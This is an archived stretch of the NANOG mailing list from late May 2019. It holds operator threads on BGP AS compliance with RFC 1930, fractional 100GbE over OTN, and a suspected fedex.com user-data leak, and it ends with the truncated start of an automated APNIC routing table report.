Fri, 31 May 2019 01:18:55 +0000 Subject: BGP prefix filter list In-Reply-To: <26701.1559264314@turing-police> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> <8C7C492C-DEF6-41D0-A4AF-DF6ACD6A006A@beckman.org>, <6e6de9d6-da7b-d9d4-0641-397ee40c2868@nsc.liu.se> , <26701.1559264314@turing-police> Message-ID: No, that's not the situation being discussed. As I've pointed out, a multi homed AS without an IGP connecting all prefixes is non-compliant with the BGP definition of an AS. Your Tokyo/DC example is additionally non-compliant because it doesn't have a single routing policy. It has two policies. That this may work in certain circumstances doesn't make it compliant with the standard. I can stop a car by throwing out a boat anchor, but that doesn't comply with DOT standards for braking :) ________________________________ From: Valdis Kletnieks on behalf of Valdis Klētnieks Sent: Thursday, May 30, 2019 5:58:34 PM To: Mel Beckman Cc: Thomas Bellman; nanog at nanog.org Subject: Re: BGP prefix filter list On Fri, 31 May 2019 00:10:42 -0000, Mel Beckman said: > What are you talking about? Do you use multi homed BGP? If so, I???d expect you > to know that an organization with multiple sites having their own Internet > still uses a single AS. They have IGP paths to route traffic between sites > (e.g., by using dedicated circuits). The situation being discussed is an organization with multiple sites that *don't* have a behind-the-scenes dedicated circuit, tunnel, or other interconnect. For example, XYZ Corp has a POP in Tokyo announcing a /16 to their provider there, and a POP in DC announcing a different /16 to their North American provider, using the same ASN for both - but traffic between the two /16s traverses the commodity Internet. Or they advertise the same /16 and pray to the anycast gods. :) (Actually, that's OK too, as long as both Tokyo and DC also announce a second route (possibly a more-specific, or different address space) for their interconnect needs) -------------- next part -------------- An HTML attachment was scrubbed... URL: From surfer at mauigateway.com Fri May 31 01:49:03 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 30 May 2019 18:49:03 -0700 Subject: BGP prefix filter list Message-ID: <20190530184903.57FD49F@m0117458.ppops.net> --- valdis.kletnieks at vt.edu wrote: From: "Valdis Klētnieks" On Thu, 30 May 2019 16:07:53 -0700, "Scott Weeks" said: > Having been on quite a few networks in my career, > (eyeball/enterprise) I'd say many struggle with > having a "single and clearly defined routing policy" Which part do they find problematic, the "single" part, or the "clearly defined" part? ;) ---------------------------------------------- Both. Two guys have authority over different parts of a network. They don't agree and neither budges. The manager is not technical (at all) and is hands off on decisions like those. I see fights like this in configs all the time. You look at the configs and go WTF, but after learning what happened in the past between those two folks I go; "Ok, NOW I get it." And for 'clearly defined'...well...to put it politely 'clearly defined' is subjective. ;) I'm OCD about KISS, documentation and consistency, but many folks are not. They want it their way, regardless of what is already there, and they like to turn knobs and not let others know what knobs they turned. You wouldn't believe what we see out here on the raggedy edges of the internet. I started my career in the 90s with a company called Digital Island. There were extremely competent folks building it. Every thing was KISS and consistent. It was a beautiful DFZ network. I miss that. 2001 was the last time I saw it. Been on the ragged edge ever since. scott From goemon at sasami.anime.net Fri May 31 02:28:25 2019 From: goemon at sasami.anime.net (Dan Hollis) Date: Thu, 30 May 2019 19:28:25 -0700 (PDT) Subject: PSA: change your fedex.com account logins In-Reply-To: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> Message-ID: Phishing scheme didn't happen. fedex has had a number of major compromises so it's not a stretch that their user database was stolen and sold to spammers. -Dan On Thu, 30 May 2019, Matt Hoppes wrote: > Possibly. The other possibility I can think of is that you succumbed to a phishing scheme where are you entered the login information for your Fed ex account. > >> On May 30, 2019, at 4:12 PM, Dan Hollis wrote: >> >> I received a credit card scam addressed to my one-off unique address registered to fedex.com. >> >> So it seems fedex.com user database has been compromised. Change your logins asap. >> >> -Dan > From sc at ottie.org Fri May 31 06:36:56 2019 From: sc at ottie.org (Scott Christopher) Date: Fri, 31 May 2019 09:36:56 +0300 Subject: PSA: change your fedex.com account logins In-Reply-To: References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> Message-ID: <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> Dan Hollis wrote: > Phishing scheme didn't happen. > > fedex has had a number of major compromises so it's not a stretch that > their user database was stolen and sold to spammers. The other possibility is that your one-off email scheme is predictable, and someone knows you use FedEx, and that someone is targeting specifically you, and this obvious phishing email is a red herring for the exploit you didn't see. Be concerned. -- S.C. -------------- next part -------------- An HTML attachment was scrubbed... URL: From eyeronic.design at gmail.com Fri May 31 06:52:24 2019 From: eyeronic.design at gmail.com (Mike Hale) Date: Thu, 30 May 2019 23:52:24 -0700 Subject: PSA: change your fedex.com account logins In-Reply-To: <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> Message-ID: Oh for fucks sake. Really? You two are questioning someone who subscribes to Nanog over Fedex? You really think it's more likely that someone is targeting Dan Hollis (whoever he is) instead of Fedex leaving something else exposed? On Thu, May 30, 2019 at 11:39 PM Scott Christopher wrote: > > Dan Hollis wrote: > > Phishing scheme didn't happen. > > fedex has had a number of major compromises so it's not a stretch that > their user database was stolen and sold to spammers. > > > The other possibility is that your one-off email scheme is predictable, and someone knows you use FedEx, and that someone is targeting specifically you, and this obvious phishing email is a red herring for the exploit you didn't see. > > Be concerned. > > -- S.C. -- 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 From nanog at radu-adrian.feurdean.net Fri May 31 08:00:32 2019 From: nanog at radu-adrian.feurdean.net (Radu-Adrian Feurdean) Date: Fri, 31 May 2019 10:00:32 +0200 Subject: Flexible OTN / fractional 100GbE In-Reply-To: References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> <2652260f-62a1-1438-bffd-28e1591710f7@monmotha.net> Message-ID: On Thu, May 30, 2019, at 09:41, Jérôme Nicolle wrote: > Yup. Should it hard-drop ? Buffer ? Both are unthinkable in OTN terms > (is that a cultural thing ?). It's what packet networks are made for. > And that's why an alien device, with support for Ethernet, OTN and > programmable pipelines, could bridge the gap, allowing for a more > efficient use of optical bandwidth. Hi Jerome, When you buy the kind of services that end-up being delivered on OTN, you expect to have a capacity that is dedicated to you, and only to you, and if you don't "use" it nobody else will. And you agree with the constraints that come with that (not protected, or protection is an extra paid option). Than comes the fact that Ethernet is *NEVER* "fractional". It is either 0 (ZERO) or line-rate. It's the amount (in time) of ZERO present over several microseconds (often "several" == "several millions") that gives (by doing an average) the "sub-rate" bandwidth. So no, hard-drop or buffer on OTN are not only "cultural issues", their absence is technically part of the OTN promise. If you are willing to accept to share unused bandwidth, then MPLS based services are the way to go, and you have that choice in a vast majority of the cases. You loose the hard guarantee of bandwidth availability and you usually get some trace of jitter. From jerome at ceriz.fr Fri May 31 10:42:29 2019 From: jerome at ceriz.fr (=?UTF-8?Q?J=c3=a9r=c3=b4me_Nicolle?=) Date: Fri, 31 May 2019 12:42:29 +0200 Subject: Flexible OTN / fractional 100GbE In-Reply-To: References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> <2652260f-62a1-1438-bffd-28e1591710f7@monmotha.net> Message-ID: <8d71c5fb-e96d-6615-900e-b60114c2ff8c@ceriz.fr> Hi Radu, There might be some misunderstanding here. I don't care about what's sold or done *today*, I'm thinking ahead of what newer hardware and software will allow us to build in the (near) future. That's probably something most of us lack : freedom to look ahead, rather than being swamped in yesterday's concerns. In that specific case, I'm the middleman buying fat pipes and selling slices from them. Should I stick to good'ol L2VPNoMPLS-TP ? Or does newer gear let me do things in a slightly better way ? May SDN allow me to fine-tune my network to fit functional needs or is technology still a barrier to efficient use-cases ? As an optimist, I chose the former, and love to engage in such debates with my peers, as long as I can avoid backward-thinking "We've always done it that way" assertions. Best regards, -- Jérôme Nicolle +33 6 19 31 27 14 From adamv0025 at netconsultings.com Fri May 31 11:48:23 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Fri, 31 May 2019 12:48:23 +0100 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <11a28163-8db8-3805-15b6-0bb19dc2b644@monmotha.net> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> <2652260f-62a1-1438-bffd-28e1591710f7@monmotha.net> <11a28163-8db8-3805-15b6-0bb19dc2b644@monmotha.net> Message-ID: <01bf01d517a6$c04b7bc0$40e27340$@netconsultings.com> > From: NANOG On Behalf Of Brandon Martin > Sent: Thursday, May 30, 2019 9:16 PM > > I see what you're getting at. It sounds like you want to light up a 100Gb > wave, put some committed "dedicated wavelength" services on it, then take > whatever's left and hand it off on 100GbE for best-effort/general Internet > traffic. > There's got to be vendors out there having an optical chasses with a combination of OTN and ethernet cards for the revenue side of the chasses -look at transmode/Infinera maybe? Otherwise I guess it doesn't matter whether the ethernet cards are part of the optical chasses or a standalone PE on the stick. If customer wants full OTN-step rate plug into optical chasses if customer needs fractional rate plug into (Broadcom) PEs hanging off of the optical switch. On the "looking ahead" notion, is it really impossible to build low latency packet-switched networks? As you know selling full rate L1 circuits will render your core mostly empty (...all that BW that could be monetized). adam From jason.w.kuehl at gmail.com Fri May 31 12:04:13 2019 From: jason.w.kuehl at gmail.com (Jason Kuehl) Date: Fri, 31 May 2019 08:04:13 -0400 Subject: PSA: change your fedex.com account logins In-Reply-To: References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> Message-ID: Is it possible, yes. I've seen it several times now at my place of work. Targeted attacks are a thing. On Fri, May 31, 2019 at 2:53 AM Mike Hale wrote: > Oh for fucks sake. > > Really? > > You two are questioning someone who subscribes to Nanog over Fedex? > You really think it's more likely that someone is targeting Dan Hollis > (whoever he is) instead of Fedex leaving something else exposed? > > On Thu, May 30, 2019 at 11:39 PM Scott Christopher wrote: > > > > Dan Hollis wrote: > > > > Phishing scheme didn't happen. > > > > fedex has had a number of major compromises so it's not a stretch that > > their user database was stolen and sold to spammers. > > > > > > The other possibility is that your one-off email scheme is predictable, > and someone knows you use FedEx, and that someone is targeting specifically > you, and this obvious phishing email is a red herring for the exploit you > didn't see. > > > > Be concerned. > > > > -- S.C. > > > > -- > 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 > -- Sincerely, Jason W Kuehl Cell 920-419-8983 jason.w.kuehl at gmail.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From jerome at ceriz.fr Fri May 31 12:13:34 2019 From: jerome at ceriz.fr (=?UTF-8?Q?J=c3=a9r=c3=b4me_Nicolle?=) Date: Fri, 31 May 2019 14:13:34 +0200 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <01bf01d517a6$c04b7bc0$40e27340$@netconsultings.com> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> <2652260f-62a1-1438-bffd-28e1591710f7@monmotha.net> <11a28163-8db8-3805-15b6-0bb19dc2b644@monmotha.net> <01bf01d517a6$c04b7bc0$40e27340$@netconsultings.com> Message-ID: <83355cc2-8693-3f7c-9aaa-cea5f0cb72c0@ceriz.fr> Hi Adam, Le 31/05/2019 à 13:48, adamv0025 at netconsultings.com a écrit : > There's got to be vendors out there having an optical chasses with a > combination of OTN and ethernet cards for the revenue side of the chasses > -look at transmode/Infinera maybe? For now the only vendor which seems to fit the bill is ECI, with their Apollo (and maybe Neptune) lines. But it's far more expensive and less dense that what StrataDNX-based OCP switch could do. Most OTN vendors I got feedback from insists on using their "point and click" NMS which is a PITA in terms of productivity and forbids automation. It simply bares them from my wannabe-future-proof network. > On the "looking ahead" notion, is it really impossible to build low latency > packet-switched networks? > As you know selling full rate L1 circuits will render your core mostly empty > (...all that BW that could be monetized). Packet-switching at flexible bandwidth requires buffering, while OTN with CBR only channels would map frames to the uplink' bitstream in real-time. This allows for a 250ns port-to-port latency instead of 450ns for the best-of-breed, and up to 4µs for looked-up switching or routing. Also there won't be jitter on muxponded circuits, while buffering eliminates deterministic latency. And you also got right to the point : most customers will never fill their pipes, so there's extra gain to get from that hybrid box. It's my understanding that some of the largest networks are already working on it, but it's "classified material" for now. I may as well postpone my deployment waiting for their R&D to be contributed to the OCP project, but I'd rather contribute instead. Best regards, -- Jérôme Nicolle +33 6 19 31 27 14 From lists-nanog at listmail.innovate.net Fri May 31 13:17:19 2019 From: lists-nanog at listmail.innovate.net (Richard) Date: Fri, 31 May 2019 13:17:19 +0000 Subject: PSA: change your fedex.com account logins In-Reply-To: References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> Message-ID: > Date: Friday, May 31, 2019 08:04:13 -0400 > From: Jason Kuehl > Is it possible, yes. I've seen it several times now at my place of > work. Targeted attacks are a thing. > >> > >> > Dan Hollis wrote: >> > >> > Phishing scheme didn't happen. >> > >> > fedex has had a number of major compromises so it's not a >> > stretch that their user database was stolen and sold to spammers. >> > When I have looked into this type of issue for my unique addressing some did trace back to back-end db hacks (e.g., adobe), but I found that the most likely culprit was the 3rd-party bulk mailer that handled the organization's marketing mail. It could be a non-zeroed disk thrown into the trash or an inside job, but it almost always traced back to one or two bulk mailing companies. From steve at blighty.com Fri May 31 13:56:08 2019 From: steve at blighty.com (Steve Atkins) Date: Fri, 31 May 2019 14:56:08 +0100 Subject: PSA: change your fedex.com account logins In-Reply-To: References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> Message-ID: > On May 31, 2019, at 2:17 PM, Richard wrote: > > > >> Date: Friday, May 31, 2019 08:04:13 -0400 >> From: Jason Kuehl > >> Is it possible, yes. I've seen it several times now at my place of >> work. Targeted attacks are a thing. >> >>>> >>>> Dan Hollis wrote: >>>> >>>> Phishing scheme didn't happen. >>>> >>>> fedex has had a number of major compromises so it's not a >>>> stretch that their user database was stolen and sold to spammers. >>>> > > When I have looked into this type of issue for my unique addressing > some did trace back to back-end db hacks (e.g., adobe), but I found > that the most likely culprit was the 3rd-party bulk mailer that > handled the organization's marketing mail. It could be a non-zeroed > disk thrown into the trash or an inside job, but it almost always > traced back to one or two bulk mailing companies. The most common issue for quite a while was malware on the windows desktops of employees with access to the companies ESP account. The web browser saves username and password to autofill the ESPs web interface in a very predictable place. Malware exfiltrates that. Bad guys compromise ESP account, download all the lists they can find (and then start spamming on the company dime). That's why ESPs pushed quite so hard to get multifactor authentication of some sort adopted by their customers. But a lot of them didn't do that (partly, I suspect, because the ESP account was accessed by multiple employees) and even if they did that didn't stop the lists that had already been downloaded. Actual compromises of the ESP, or bad behaviour of it's employees, seem to be rather rare but customer account compromise is everywhere. Cheers, Steve From rsk at gsp.org Fri May 31 14:18:05 2019 From: rsk at gsp.org (Rich Kulawiec) Date: Fri, 31 May 2019 10:18:05 -0400 Subject: PSA: change your fedex.com account logins In-Reply-To: References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> Message-ID: <20190531141805.GA4114@gsp.org> On Fri, May 31, 2019 at 01:17:19PM +0000, Richard wrote: > When I have looked into this type of issue for my unique addressing > some did trace back to back-end db hacks (e.g., adobe), but I found > that the most likely culprit was the 3rd-party bulk mailer that > handled the organization's marketing mail. It could be a non-zeroed > disk thrown into the trash or an inside job, but it almost always > traced back to one or two bulk mailing companies. FYI, I've been running numerous experiments in this area for many years using unique non-guessable non-typo'able addresses. Explaining the results in full would take many pages, so let me summarize: 3rd party bulk mailers leak like sieves. "How?" remains an open question: could be that they're selling, could be that they have security issues, could be that insiders are selling on their own, could be any number of things: it's really not possible to say. But they are unquestionably leaking. This is hardly surprising: many of them are spammers-for-hire, many of them use invasive tracking/spyware, and none of them actually care in the slightest about privacy or security -- after all, it's not *their* data, why should they? Which are some of the many reasons that outsourcing your mailing lists is a terrible idea, doubly so when it's quite easy to run your own with Mailman (or equivalent). ---rsk From niels=nanog at bakker.net Fri May 31 15:02:38 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Fri, 31 May 2019 17:02:38 +0200 Subject: PSA: change your fedex.com account logins In-Reply-To: <20190531141805.GA4114@gsp.org> References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> <20190531141805.GA4114@gsp.org> Message-ID: <20190531150238.GI88473@jima.tpb.net> * rsk at gsp.org (Rich Kulawiec) [Fri 31 May 2019, 16:18 CEST]: [...] >This is hardly surprising: many of them are spammers-for-hire, many of >them use invasive tracking/spyware, and none of them actually care in >the slightest about privacy or security -- after all, it's not *their* >data, why should they? Which is why we now have GDPR. Care, or get fined. >Which are some of the many reasons that outsourcing your mailing lists >is a terrible idea, doubly so when it's quite easy to run your own with >Mailman (or equivalent). Unfortunately it's not that easy; the few large remaining mail hosters at best have opaque procedures when it comes to accepting mail. -- Niels. From bellman at nsc.liu.se Fri May 31 15:34:29 2019 From: bellman at nsc.liu.se (Thomas Bellman) Date: Fri, 31 May 2019 17:34:29 +0200 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> <8C7C492C-DEF6-41D0-A4AF-DF6ACD6A006A@beckman.org> <6e6de9d6-da7b-d9d4-0641-397ee40c2868@nsc.liu.se> <26701.1559264314@turing-police> Message-ID: <8b840718-2526-943c-b946-82892e1535ab@nsc.liu.se> On 2019-05-31 01:18 +0000, Mel Beckman wrote: > No, that's not the situation being discussed. Actually, that *was* the example I was trying to give, where I suspect many are *not* following the rules of RFC 1930. > As I've pointed out, a multi homed AS without an IGP connecting all > prefixes is non-compliant with the BGP definition of an AS. Your > Tokyo/DC example is additionally non-compliant because it doesn't > have a single routing policy. It has two policies. That this may > work in certain circumstances doesn't make it compliant with the > standard. So, an *organization* with one Tokyo office and one DC office, each having a PI prefix, and with their own Internet connection(s), and no private interconnect with an IGP connecting the sites. They can handle this in several ways: 1) Use the same ASN for both sites, each site announcing only its own, prefix over eBGP to its ISPs. They won't be able to receive the other site's prefix over eBGP, since the loop detection in BGP will see the common ASN in the announcments from the other site and drop it, but that can be easily handled by the sites adding static routes via their ISPs (or by just getting default routes from their ISPs). This violates RFC 1930; I agree with that. But does it fail in the real world? Will ARIN/APNIC revoke their ASN and/or prefixes due to violating RFC 1930? Will the rest of the Internet try to route the Tokyo prefix to DC, or vice versa, due to them being originated from the same ASN? Any other problems? 2) Get a separate ASN for each site. Continue with not having an IGP between the sites, and continue with announcing different prefixes from each site. They can however now receive each others prefixes over BGP. This does not violate RFC 1930; nowhere in that document does it say that an organization can only have a single ASN. But will ARIN/APNIC be willing to give out two ASNs to that one organization? Does the answer change if it is not one site in Asia and one in America, but one site in every US state? Or one such site in each of the 290 municipalities in Sweden (and pre- sumably trying to get ASNs from RIPE instead of ARIN)? 3) Pay the high fees for getting private interconnects between the continents (or for each of the 290 offices in the Swedish example), and let all sites announce all of each others prefixes, acting as transits for reaching the other sites. This obviously costs more money. I have never priced such an interconnect, so I don't know how much it would cost, but I expect it to be fairly expensive. Also: what happens if the interconnect breaks, partitioning the AS? Then they are in effect at situation (1), violating RFC 1930, with of course the same questions/problems. 4) Pay the high fees for private interconnects, use the same ASN at both sites, but let each site announce the other's prefix with larger amounts of AS path prepending so "no-one" tries to send their traffic to the wrong site. This also violates RFC 1930, as far as I understand, as the two sites have different routing policies. But does it cause any real- world problems? Does the IP police arrest them? Will the rest of the world ignore the policies and send their traffic to the wrong site since the prefixes are originated from the same ASN? I suspect that there are a fair number of organizations that does one of (1), (2) or (4) above, and I *believe* that it actually works. And some of the things I see in our ISP's BGP tables looks like at least some people are doing (4), or possibly (1). RFC 1930 might be the law on the book, but does people actually follow it? Or is it just an outdated law that no-one knows or cares about, but no-one has bothered to formally deprecate? (The parts of RFC 1930 implying that we should have migrated to IDRP by now are obviously not in touch with current reality. :-) My personal feelings is that requiring (3) would be a bad thing, as it would cost lots of money. (2) is OK, but I think many people would forget or ignore getting a separate ASN for each site. But I have only a little experience in running BGP, and have only done so for a single-site organization (or at least single-site in terms of where we have our Internet connection). Answers to the questions I make above are appreciated. /Bellman -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 836 bytes Desc: OpenPGP digital signature URL: From cscora at apnic.net Fri May 31 18:02:50 2019 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 1 Jun 2019 04:02:50 +1000 (AEST) Subject: Weekly Routing Table Report Message-ID: <20190531180250.AA513C44A1@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 01 Jun, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 757484 Prefixes after maximum aggregation (per Origin AS): 290744 Deaggregation factor: 2.61 Unique aggregates announced (without unneeded subnets): 361416 Total ASes present in the Internet Routing Table: 64395 Prefixes per ASN: 11.76 Origin-only ASes present in the Internet Routing Table: 55392 Origin ASes announcing only one prefix: 23824 Transit ASes present in the Internet Routing Table: 9003 Transit-only ASes present in the Internet Routing Table: 277 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 34 Max AS path prepend of ASN (206156) 26 Prefixes from unregistered ASNs in the Routing Table: 26 Number of instances of unregistered ASNs: 29 Number of 32-bit ASNs allocated by the RIRs: 27191 Number of 32-bit ASNs visible in the Routing Table: 22216 Prefixes from 32-bit ASNs in the Routing Table: 99727 Number of bogon 32-bit ASNs visible in the Routing Table: 21 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 256 Number of addresses announced to Internet: 2845014656 Equivalent to 169 /8s, 147 /16s and 122 /24s Percentage of available address space announced: 76.8 Percentage of allocated address space announced: 76.8 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.3 Total number of prefixes smaller than registry allocations: 253034 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 204745 Total APNIC prefixes after maximum aggregation: 60806 APNIC Deaggregation factor: 3.37 Prefixes being announced from the APNIC address blocks: 200889 Unique aggregates announced from the APNIC address blocks: 82494 APNIC Region origin ASes present in the Internet Routing Table: 9777 APNIC Prefixes per ASN: 20.55 APNIC Region origin ASes announcing only one prefix: 2710 APNIC Region transit ASes present in the Internet Routing Table: 1458 Average APNIC Region AS path length visible: 4.6 Max APNIC Region AS path length visible: 26 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4784 Number of APNIC addresses announced to Internet: 772744832 Equivalent to 46 /8s, 15 /16s and 38 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-139577 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 225546 Total ARIN prefixes after maximum aggregation: 105128 ARIN Deaggregation factor: 2.15 Prefixes being announced from the ARIN address blocks: 224578 Unique aggregates announced from the ARIN address blocks: 105785 ARIN Region origin ASes present in the Internet Routing Table: 18488 ARIN Prefixes per ASN: 12.15 ARIN Region origin ASes announcing only one prefix: 6857 ARIN Region transit ASes present in the Internet Routing Table: 1902 Average ARIN Region AS path length visible: 3.9 Max ARIN Region AS path length visible: 24 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2721 Number of ARIN addresses announced to Internet: 1073736832 Equivalent to 63 /8s, 255 /16s and 236 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 208432 Total RIPE prefixes after maximum aggregation: 98589 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 204635 Unique aggregates announced from the RIPE address blocks: 120973 RIPE Region origin ASes present in the Internet Routing Table: 26115 RIPE Prefixes per ASN: 7.84 RIPE Region origin ASes announcing only one prefix: 11588 RIPE Region transit ASes present in the Internet Routing Table: 3729 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8158 Number of RIPE addresses announced to Internet: 719362176 Equivalent to 42 /8s, 224 /16s and 152 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 97168 Total LACNIC prefixes after maximum aggregation: 21875 LACNIC Deaggregation factor: 4.44 Prefixes being announced from the LACNIC address blocks: 98593 Unique aggregates announced from the LACNIC address blocks: 42737 LACNIC Region origin ASes present in the Internet Routing Table: 8431 LACNIC Prefixes per ASN: 11.69 LACNIC Region origin ASes announcing only one prefix: 2224 LACNIC Region transit ASes present in the Internet Routing Table: 1541 Average LACNIC Region AS path length visible: 5.1 Max LACNIC Region AS path length visible: 27 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 5988 Number of LACNIC addresses announced to Internet: 173838080 Equivalent to 10 /8s, 92 /16s and 143 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21566 Total AfriNIC prefixes after maximum aggregation: 4324 AfriNIC Deaggregation 